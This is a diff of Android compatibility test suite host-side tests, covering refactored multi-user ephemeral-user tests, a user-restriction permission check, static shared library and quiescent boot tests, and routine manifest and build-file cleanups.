 @RunWith(DeviceJUnit4ClassRunner.class)
 public class EphemeralTest extends BaseMultiUserTest {
 
+    @Rule
+    public final SupportsMultiUserRule mSupportsMultiUserRule = new SupportsMultiUserRule(this);
+
     /** Test to verify ephemeral user is removed after switch out to another user. */
     @Presubmit
     @Test
     public void testSwitchAndRemoveEphemeralUser() throws Exception {
-        if (!mSupportsMultiUser) {
-            return;
-        }
-        int ephemeralUserId = -1;
-        try {
-            ephemeralUserId = getDevice().createUser(
-                    "TestUser_" + System.currentTimeMillis() /* name */,
-                    false /* guest */,
-                    true /* ephemeral */);
-        } catch (Exception e) {
-            CLog.w("Failed to create user. Skipping test.");
-            return;
-        }
+        final int ephemeralUserId = createEphemeralUser();
+
         assertSwitchToNewUser(ephemeralUserId);
         assertSwitchToUser(ephemeralUserId, mInitialUserId);
         waitForUserRemove(ephemeralUserId);
@@ -61,21 +54,96 @@
     @Presubmit
     @Test
     public void testRebootAndRemoveEphemeralUser() throws Exception {
-        if (!mSupportsMultiUser) {
-            return;
-        }
-        int ephemeralUserId = -1;
-        try {
-            ephemeralUserId = getDevice().createUser(
-                    "TestUser_" + System.currentTimeMillis() /* name */,
-                    false /* guest */,
-                    true /* ephemeral */);
-        } catch (Exception e) {
-            CLog.w("Failed to create user. Skipping test.");
-            return;
-        }
+        final int ephemeralUserId = createEphemeralUser();
+
         assertSwitchToNewUser(ephemeralUserId);
         getDevice().reboot();
         assertUserNotPresent(ephemeralUserId);
     }
+
+    /**
+     * Test to verify that {@link android.os.UserManager#removeUserOrSetEphemeral(int)} immediately
+     * removes a user that isn't running.
+     *
+     * <p>Indirectly executed by means of the --set-ephemeral-if-in-use flag
+     */
+    @Presubmit
+    @Test
+    public void testRemoveUserOrSetEphemeral_nonRunningUserRemoved() throws Exception {
+        final int userId = createUser();
+
+        executeRemoveUserOrSetEphemeralAdbCommand(userId);
+
+        assertUserNotPresent(userId);
+    }
+
+    /**
+     * Test to verify that {@link android.os.UserManager#removeUserOrSetEphemeral(int)} sets the
+     * current user to ephemeral and removes the user after user switch.
+     *
+     * <p>Indirectly executed by means of the --set-ephemeral-if-in-use flag
+     */
+    @Presubmit
+    @Test
+    public void testRemoveUserOrSetEphemeral_currentUserSetEphemeral_removeAfterSwitch()
+            throws Exception {
+        final int userId = createUser();
+
+        assertSwitchToNewUser(userId);
+        executeRemoveUserOrSetEphemeralAdbCommand(userId);
+        assertUserEphemeral(userId);
+
+        assertSwitchToUser(userId, mInitialUserId);
+        waitForUserRemove(userId);
+        assertUserNotPresent(userId);
+    }
+
+    /**
+     * Test to verify that {@link android.os.UserManager#removeUserOrSetEphemeral(int)} sets the
+     * current user to ephemeral and removes that user after reboot.
+     *
+     * <p>Indirectly executed by means of the --set-ephemeral-if-in-use flag
+     */
+    @Presubmit
+    @Test
+    public void testRemoveUserOrSetEphemeral_currentUserSetEphemeral_removeAfterReboot()
+            throws Exception {
+        final int userId = createUser();
+
+        assertSwitchToNewUser(userId);
+        executeRemoveUserOrSetEphemeralAdbCommand(userId);
+        assertUserEphemeral(userId);
+
+        getDevice().reboot();
+        assertUserNotPresent(userId);
+    }
+
+    private void executeRemoveUserOrSetEphemeralAdbCommand(int userId) throws Exception {
+        getDevice().executeShellV2Command("pm remove-user --set-ephemeral-if-in-use " + userId);
+    }
+
+    private void assertUserEphemeral(int userId) throws Exception {
+        assertUserPresent(userId);
+        assertWithMessage("User ID %s should be flagged as ephemeral", userId)
+                .that(getDevice().getUserInfos().get(userId).isEphemeral()).isTrue();
+    }
+
+    private int createUser() throws Exception {
+        return createUser(/* isGuest= */ false, /* isEphemeral= */ false);
+    }
+
+    private int createEphemeralUser() throws Exception {
+        return createUser(/* isGuest= */ false, /* isEphemeral= */ true);
+    }
+
+    private int createUser(boolean isGuest, boolean isEphemeral) throws Exception {
+        final String name = "TestUser_" + System.currentTimeMillis();
+        try {
+            return getDevice().createUser(name, isGuest, isEphemeral);
+        } catch (Exception e) {
+            throw new IllegalStateException(String.format(
+                    "Failed to create user (name=%s, isGuest=%s, isEphemeral=%s)",
+                    name, isGuest, isEphemeral), e);
+        }
+    }
 }
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java b/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java
index d4a6ef2..139a35c 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java
@@ -15,29 +15,37 @@
  */
 package android.host.multiuser;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.host.multiuser.BaseMultiUserTest.SupportsMultiUserRule;
+
 import com.android.compatibility.common.util.CddTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-import java.util.concurrent.TimeUnit;
-
-import org.junit.Assert;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Run: atest SecondaryUsersTest
+ */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class SecondaryUsersTest extends BaseMultiUserTest {
+public final class SecondaryUsersTest extends BaseMultiUserTest {
 
     // Extra time to give the system to switch into secondary user after boot complete.
     private static final long SECONDARY_USER_BOOT_COMPLETE_TIMEOUT_MS = 30000;
 
     private static final long POLL_INTERVAL_MS = 100;
 
+    @Rule
+    public final SupportsMultiUserRule mSupportsMultiUserRule = new SupportsMultiUserRule(this);
+
     @CddTest(requirement="9.5/A-1-2")
     @Test
     public void testSwitchToSecondaryUserBeforeBootComplete() throws Exception {
-        if (!isAutomotiveDevice() || !mSupportsMultiUser) {
-            return;
-        }
+        assumeIsAutomotive();
 
         getDevice().nonBlockingReboot();
         getDevice().waitForBootComplete(TimeUnit.MINUTES.toMillis(2));
@@ -58,6 +66,7 @@
             }
             Thread.sleep(POLL_INTERVAL_MS);
         }
-        Assert.assertTrue("Must switch to secondary user before boot complete", isUserSecondary);
+        assertWithMessage("Must switch to secondary user before boot complete")
+                .that(isUserSecondary).isTrue();
     }
 }
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/SetUsersRestrictionsTest.java b/hostsidetests/multiuser/src/android/host/multiuser/SetUsersRestrictionsTest.java
new file mode 100644
index 0000000..b44915e
--- /dev/null
+++ b/hostsidetests/multiuser/src/android/host/multiuser/SetUsersRestrictionsTest.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.host.multiuser;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test for user restrictions that DO NOT REQUIRE multi-user support.
+ *
+ * Run: atest SetUsersRestrictionsTest
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class SetUsersRestrictionsTest extends BaseMultiUserTest {
+
+    /**
+     * Tests that set-user-restriction is disabled on user builds.
+     */
+    @Test
+    public void testCantSetUserRestriction() throws Exception {
+        assumeNotRoot();
+
+        final String setRestriction = "pm set-user-restriction no_fun ";
+        final String output = getDevice().executeShellCommand(setRestriction + "1");
+        final boolean isErrorOutput = output.contains("SecurityException")
+                && output.contains("You need MANAGE_USERS permission");
+        assertWithMessage("Trying to set user restriction should fail with SecurityException. "
+                + "command output: %s", output).that(isErrorOutput).isTrue();
+    }
+}
diff --git a/hostsidetests/numberblocking/Android.bp b/hostsidetests/numberblocking/Android.bp
index 67ce71c..8f7563f 100644
--- a/hostsidetests/numberblocking/Android.bp
+++ b/hostsidetests/numberblocking/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsHostsideNumberBlockingTestCases",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/numberblocking/app/Android.bp b/hostsidetests/numberblocking/app/Android.bp
index 6a60d13..653121d 100644
--- a/hostsidetests/numberblocking/app/Android.bp
+++ b/hostsidetests/numberblocking/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsHostsideNumberBlockingAppTest",
     dex_preopt: {
diff --git a/hostsidetests/numberblocking/app/AndroidManifest.xml b/hostsidetests/numberblocking/app/AndroidManifest.xml
index 6ff2d9e..a327a34 100755
--- a/hostsidetests/numberblocking/app/AndroidManifest.xml
+++ b/hostsidetests/numberblocking/app/AndroidManifest.xml
@@ -15,27 +15,27 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.numberblocking.hostside">
+     package="com.android.cts.numberblocking.hostside">
 
     <uses-permission android:name="android.permission.CALL_PHONE"/>
     <uses-permission android:name="android.permission.READ_CALL_LOG"/>
     <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <service android:name=".CallBlockingTest$DummyConnectionService"
-            android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE">
+             android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.ConnectionService" />
+                <action android:name="android.telecom.ConnectionService"/>
             </intent-filter>
         </service>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.numberblocking.hostside"
-                     android:label="Number blocking CTS Tests"/>
+         android:targetPackage="com.android.cts.numberblocking.hostside"
+         android:label="Number blocking CTS Tests"/>
 
 </manifest>
-
diff --git a/hostsidetests/os/Android.bp b/hostsidetests/os/Android.bp
index f60a789..dabbcbe 100644
--- a/hostsidetests/os/Android.bp
+++ b/hostsidetests/os/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     // Must match the package name in CtsTestCaseList.mk
     name: "CtsOsHostTestCases",
diff --git a/hostsidetests/os/AndroidTest.xml b/hostsidetests/os/AndroidTest.xml
index 5729e43..1eb77ac 100644
--- a/hostsidetests/os/AndroidTest.xml
+++ b/hostsidetests/os/AndroidTest.xml
@@ -26,6 +26,7 @@
         <option name="test-file-name" value="CtsHostProcfsTestApp.apk" />
         <option name="test-file-name" value="CtsInattentiveSleepTestApp.apk" />
         <option name="test-file-name" value="CtsHostEnvironmentTestApp.apk" />
+        <option name="test-file-name" value="CtsStaticSharedLibTestApp.apk" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsOsHostTestCases.jar" />
diff --git a/hostsidetests/os/app/Android.bp b/hostsidetests/os/app/Android.bp
index 969c3dd..c240299 100644
--- a/hostsidetests/os/app/Android.bp
+++ b/hostsidetests/os/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsDeviceOsTestApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/app/src/android/os/app/TestFgService.java b/hostsidetests/os/app/src/android/os/app/TestFgService.java
index 3548105..e751d47 100644
--- a/hostsidetests/os/app/src/android/os/app/TestFgService.java
+++ b/hostsidetests/os/app/src/android/os/app/TestFgService.java
@@ -42,6 +42,7 @@
                 .setContentTitle("Foreground service")
                 .setContentText("Ongoing test app foreground service is live")
                 .setSmallIcon(NOTIFICATION_ID)
+                .setShowForegroundImmediately(true)
                 .build();
 
         Log.i(TAG, "TestFgService starting foreground: pid=" + Process.myPid());
diff --git a/hostsidetests/os/src/android/os/cts/OsHostTests.java b/hostsidetests/os/src/android/os/cts/OsHostTests.java
index 8e3f5c5..5aea564 100644
--- a/hostsidetests/os/src/android/os/cts/OsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/OsHostTests.java
@@ -16,6 +16,8 @@
 
 package android.os.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import android.platform.test.annotations.AppModeFull;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
@@ -61,7 +63,6 @@
             "Verifying IntentFilter\\..* package:\"" + HOST_VERIFICATION_PKG + "\"";
     private static final Pattern HOST_PATTERN = Pattern.compile(".*hosts:\"(.*?)\"");
     // domains that should be validated against given our test apk
-    private static final String HOST_EXPLICIT = "explicit.example.com";
     private static final String HOST_WILDCARD = "wildcard.tld";
 
     /**
@@ -154,14 +155,17 @@
             // Clean slate in case of earlier aborted run
             mDevice.uninstallPackage(HOST_VERIFICATION_PKG);
 
-            String[] options = { AbiUtils.createAbiFlag(mAbi.getName()) };
+            final String[] options = { AbiUtils.createAbiFlag(mAbi.getName()) };
+            final int currentUser = mDevice.getCurrentUser();
 
             mDevice.clearLogcat();
 
-            String installResult = getDevice().installPackage(getTestAppFile(HOST_VERIFICATION_APK),
-                    false /* = reinstall? */, options);
+            final String errorString;
+            errorString = mDevice.installPackageForUser(getTestAppFile(HOST_VERIFICATION_APK),
+                    false /* = reinstall? */, currentUser, options);
 
-            assertNull("Couldn't install web intent filter sample apk", installResult);
+            assertNull("Couldn't install web intent filter sample apk in user " +
+                    currentUser + " : " + errorString, errorString);
 
             String logs = mDevice.executeAdbCommand("logcat", "-v", "brief", "-d");
             boolean foundVerifierOutput = false;
@@ -174,11 +178,9 @@
                     Matcher m = HOST_PATTERN.matcher(line);
                     assertTrue(m.find());
                     final String hostgroup = m.group(1);
-                    HashSet<String> allHosts = new HashSet<String>(
+                    HashSet<String> allHosts = new HashSet<>(
                             Arrays.asList(hostgroup.split(" ")));
-                    assertEquals(2, allHosts.size());
-                    assertTrue("AllHosts Contains: " + allHosts, allHosts.contains(HOST_EXPLICIT));
-                    assertTrue("AllHosts Contains: " + allHosts, allHosts.contains(HOST_WILDCARD));
+                    assertThat(allHosts).containsExactly(HOST_WILDCARD);
                     foundVerifierOutput = true;
                     break;
                 }
diff --git a/hostsidetests/os/src/android/os/cts/QuiescentBootTests.java b/hostsidetests/os/src/android/os/cts/QuiescentBootTests.java
index af7a35e..fad7f25 100644
--- a/hostsidetests/os/src/android/os/cts/QuiescentBootTests.java
+++ b/hostsidetests/os/src/android/os/cts/QuiescentBootTests.java
@@ -55,7 +55,7 @@
     public synchronized void setUp() throws Exception {
         mDevice = getDevice();
         assumeTrue("Test only applicable to TVs.", hasDeviceFeature(FEATURE_LEANBACK_ONLY));
-        assumeFalse("Test only applicable to devices launching on android R or later.",
+        assumeFalse("Test only applicable to devices launching on Android 11 or later.",
             (PropertyUtil.getFirstApiLevel(mDevice) < 30));
     }
 
@@ -67,11 +67,9 @@
     }
 
     @Test
-    public void testQuiescentBoot_sysPropSet_asleep() throws Exception {
+    public void testQuiescentBoot_asleep() throws Exception {
         mDevice.executeAdbCommand("reboot", "quiescent");
         mDevice.waitForBootComplete(REBOOT_TIMEOUT);
-        assertEquals("Quiescent system property (ro.boot.quiescent) not set.",
-                "1", mDevice.getProperty("ro.boot.quiescent"));
         assertEquals("Expected to boot into sleep state.", WAKEFULNESS_ASLEEP, getWakefulness());
     }
 
@@ -89,11 +87,6 @@
         mDevice.executeAdbCommand("reboot", "quiescent");
         mDevice.waitForBootComplete(REBOOT_TIMEOUT);
 
-        mDevice.executeAdbCommand("reboot", "quiescent");
-        mDevice.waitForBootComplete(REBOOT_TIMEOUT);
-
-        assertEquals("Quiescent system property (ro.boot.quiescent) not set.",
-                "1", mDevice.getProperty("ro.boot.quiescent"));
         assertEquals("Expected to boot into sleep state.", WAKEFULNESS_ASLEEP, getWakefulness());
     }
 
@@ -105,8 +98,6 @@
         mDevice.executeAdbCommand("reboot");
         mDevice.waitForBootComplete(REBOOT_TIMEOUT);
 
-        assertNull("Quiescent system property (ro.boot.quiescent) unexpectedly set.",
-                mDevice.getProperty("ro.boot.quiescent"));
         assertEquals("Expected to boot in awake state.", WAKEFULNESS_AWAKE, getWakefulness());
     }
 
diff --git a/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java b/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
index 689a095..360d8d7 100644
--- a/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
@@ -671,6 +671,23 @@
         }
     }
 
+    public void testSamegradeStaticSharedLibByAdb() throws Exception {
+        getDevice().uninstallPackage(STATIC_LIB_PROVIDER5_PKG);
+        try {
+            assertNull(install(STATIC_LIB_PROVIDER5_APK));
+            assertNull(install(STATIC_LIB_PROVIDER5_APK, true /*reinstall*/));
+        } finally {
+            getDevice().uninstallPackage(STATIC_LIB_PROVIDER5_PKG);
+        }
+    }
+
+    @AppModeFull(reason = "Instant app cannot get package installer service")
+    public void testCannotSamegradeStaticSharedLibByInstaller() throws Exception {
+        runDeviceTests("android.os.lib.app",
+                "android.os.lib.app.StaticSharedLibsTests",
+                "testSamegradeStaticSharedLibFail");
+    }
+
     private void runDeviceTests(String packageName, String testClassName,
             String testMethodName) throws DeviceNotAvailableException {
         RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(packageName,
diff --git a/hostsidetests/os/test-apps/EnvironmentTestApp/Android.bp b/hostsidetests/os/test-apps/EnvironmentTestApp/Android.bp
index abf8a14..ea30d9c 100644
--- a/hostsidetests/os/test-apps/EnvironmentTestApp/Android.bp
+++ b/hostsidetests/os/test-apps/EnvironmentTestApp/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsHostEnvironmentTestApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.bp b/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.bp
index 3fb73fe..6b89473 100644
--- a/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.bp
+++ b/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsHostLinkVerificationApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/HostLinkVerificationApp/AndroidManifest.xml b/hostsidetests/os/test-apps/HostLinkVerificationApp/AndroidManifest.xml
index 9480418..ace8c82 100644
--- a/hostsidetests/os/test-apps/HostLinkVerificationApp/AndroidManifest.xml
+++ b/hostsidetests/os/test-apps/HostLinkVerificationApp/AndroidManifest.xml
@@ -13,28 +13,41 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-
 <!-- Declare the contents of this Android application.  The namespace
      attribute brings in the Android platform namespace, and the package
      supplies a unique name for the application.  When writing your
      own application, the package name must be changed from "com.example.*"
      to come from a domain that you own or have control over. -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.openlinksskeleton"
-    android:versionCode="1"
-    android:versionName="1.0">
+     package="com.android.cts.openlinksskeleton"
+     android:versionCode="1"
+     android:versionName="1.0">
 
-    <application android:label="Open Links Skeleton" android:hasCode="false" >
+    <application android:label="Open Links Skeleton"
+         android:hasCode="false">
 
-        <activity android:name="DummyWebLinkActivity">
+        <activity android:name="DummyWebLinkActivity"
+             android:exported="true">
             <intent-filter android:autoVerify="true">
-                <action android:name="android.intent.action.VIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="http" />
-                <data android:scheme="https" />
-                <data android:host="explicit.example.com" />
-                <data android:host="*.wildcard.tld" />
+                <action android:name="android.intent.action.VIEW"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="http"/>
+                <data android:scheme="https"/>
+                <data android:host="*.wildcard.tld"/>
+            </intent-filter>
+
+            <!-- Also make sure that verification picks up web navigation
+                                 handling even when the filter matches non-web schemes -->
+            <intent-filter>
+                <action android:name="android.intent.action.VIEW"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="http"/>
+                <data android:scheme="https"/>
+                <data android:scheme="nonweb"/>
+                <data android:host="explicit.example.com"/>
             </intent-filter>
         </activity>
 
diff --git a/hostsidetests/os/test-apps/InattentiveSleepTestApp/Android.bp b/hostsidetests/os/test-apps/InattentiveSleepTestApp/Android.bp
index 6c2934e..a465c17 100644
--- a/hostsidetests/os/test-apps/InattentiveSleepTestApp/Android.bp
+++ b/hostsidetests/os/test-apps/InattentiveSleepTestApp/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsInattentiveSleepTestApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml b/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml
index 487b8cc..3588a14 100755
--- a/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml
+++ b/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml
@@ -16,10 +16,11 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.os.inattentivesleeptests"
-          android:targetSandboxVersion="2">
+     package="android.os.inattentivesleeptests"
+     android:targetSandboxVersion="2">
     <application>
-        <activity android:name=".KeepScreenOnActivity">
+        <activity android:name=".KeepScreenOnActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.DEFAULT"/>
@@ -28,4 +29,3 @@
         </activity>
     </application>
 </manifest>
-
diff --git a/hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp b/hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp
index a867a5e..e8cf353 100644
--- a/hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp
+++ b/hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsHostPowerManagerTestApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/PowerManagerTestApp/AndroidManifest.xml b/hostsidetests/os/test-apps/PowerManagerTestApp/AndroidManifest.xml
index 4fb0653..08e418f 100755
--- a/hostsidetests/os/test-apps/PowerManagerTestApp/AndroidManifest.xml
+++ b/hostsidetests/os/test-apps/PowerManagerTestApp/AndroidManifest.xml
@@ -16,11 +16,12 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.os.powermanagertests"
-    android:targetSandboxVersion="2">
-  <uses-permission android:name="android.permission.WAKE_LOCK" />
+     package="android.os.powermanagertests"
+     android:targetSandboxVersion="2">
+  <uses-permission android:name="android.permission.WAKE_LOCK"/>
   <application>
-    <activity android:name=".WakeLockTest">
+    <activity android:name=".WakeLockTest"
+         android:exported="true">
       <intent-filter>
         <action android:name="android.intent.action.MAIN"/>
         <category android:name="android.intent.category.DEFAULT"/>
@@ -29,4 +30,3 @@
     </activity>
   </application>
 </manifest>
-
diff --git a/hostsidetests/os/test-apps/ProcfsTestApp/Android.bp b/hostsidetests/os/test-apps/ProcfsTestApp/Android.bp
index d1f347b..4b71269 100644
--- a/hostsidetests/os/test-apps/ProcfsTestApp/Android.bp
+++ b/hostsidetests/os/test-apps/ProcfsTestApp/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsHostProcfsTestApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.bp
index 954213b..b95f392 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStaticSharedLibConsumerApp1",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.bp
index ee9e35e..f2a40dd 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStaticSharedLibConsumerApp2",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.bp
index be8e979..95b497c 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStaticSharedLibConsumerApp3",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.bp
index df2af60..99c1bd5 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStaticSharedLibProviderApp1",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.bp
index 8ffff64..d16ac9b 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStaticSharedLibProviderApp2",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.bp
index 6f4e523..4919e6b 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.bp
@@ -13,10 +13,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStaticSharedLibProviderApp3",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.bp
index 50caab2..83226d0 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.bp
@@ -13,10 +13,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStaticSharedLibProviderApp4",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.bp
index b688dd7..aa549ff 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStaticSharedLibProviderApp5",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.bp b/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.bp
index 77d7e2e..3827722 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.bp
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
